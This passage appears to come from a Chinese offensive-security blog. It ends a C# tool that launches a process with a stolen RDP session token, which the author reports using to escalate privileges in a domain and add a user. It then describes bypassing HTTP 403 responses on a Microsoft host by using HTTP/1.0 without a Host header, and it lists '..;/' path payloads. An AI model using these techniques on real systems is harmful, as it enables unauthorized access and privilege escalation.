           startupInfo.cb = Marshal.SizeOf(startupInfo);
           startupInfo.lpDesktop = "winsta0\\default";

           PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();

           // Create process as user
           bool processResult = CreateProcessAsUser(
               userToken,
               null,
               command,
               IntPtr.Zero,
               IntPtr.Zero,
               false,
               0x00000400, // CREATE_UNICODE_ENVIRONMENT
               envBlock,
               null,
               ref startupInfo,
               out processInfo);

           if (!processResult)
           {
               int error = Marshal.GetLastWin32Error();
               throw new Win32Exception(error);
           }

           Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);

           // Clean up process handles
           CloseHandle(processInfo.hProcess);
           CloseHandle(processInfo.hThread);
       }
       catch (Exception ex)
       {
           Console.WriteLine("Error: {0}", ex.Message);
       }
       finally
       {
           // Clean up resources
           if (envBlock != IntPtr.Zero)
           {
               DestroyEnvironmentBlock(envBlock);
           }
           if (userToken != IntPtr.Zero)
           {
               CloseHandle(userToken);
           }
       }
   }
}

编译后进行尝试：

成功完成了token窃取并添加了域内用户。

总结

本文通过演示窃取RDP Session Token完成域内提权的目的。

  

一种绕过403的新技术，跟大家分享一下。研究HTTP协议已经有一段时间了。发现HTTP协议的1.0版本可以绕过403。于是开始对lyncdiscover.microsoft.com域做FUZZ，并且发现了几个403Forbidden的文件。

（访问fsip.svc为403）

在经过尝试后，得出一个结论：当清除所有header头的值时，服务器会对客户端作出响应。

结论1：

将HTTP协议版本更改为1.0，而且不要在标题中设置任何值。

结论2：

如果服务器和任何其他安全机制没有以正确的方式配置，不把Host放在header头内时，服务器将会自己把目标地址放在header中，这会导致服务器将我们的请求认做本地请求。

（访问fsip.svc为200）

用同样的方式尝试了另一个文件，并且再次成功bypass。

（403）

（200）

还要补充一点：你也可以用同样的方式去绕过CDN获取服务器IP。

例如：

如你所见，在Location中，它在返回中显示了域本身的地址。

再次使用相同的方法并发送请求时，显示了服务器的主地址。

以上技术已经被添加到burp工具当中：

https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122

------------------------------

以上这种思路虽然已经被添加到了burp插件，但我们依旧需要去学习了解插件运行背后的逻辑，而不只是当一个脚本小子。

尤其是在做黑盒测试中，秉持改变原有数据结构的FUZZ思路进行一切可能的尝试，才会挖掘出更有趣的漏洞。

在burp权限绕过插件中，除了以上尝试，还有诸多修改url请求的尝试，例如：

https://www.example.com..;/api/v1/users
https://www.example.com/api..;/v1/users
https://www.example.com/api/v1..;/users

这些尝试本质也是在破坏数据原有结构，利用后端，服务器等处理特性实现绕过。

其实除此外还可以进行任何可能的尝试：https://www.example.com/api/v1/users

例如将v1改成v2，利用通配符代替数字，或者添加多余的字符串等等操作。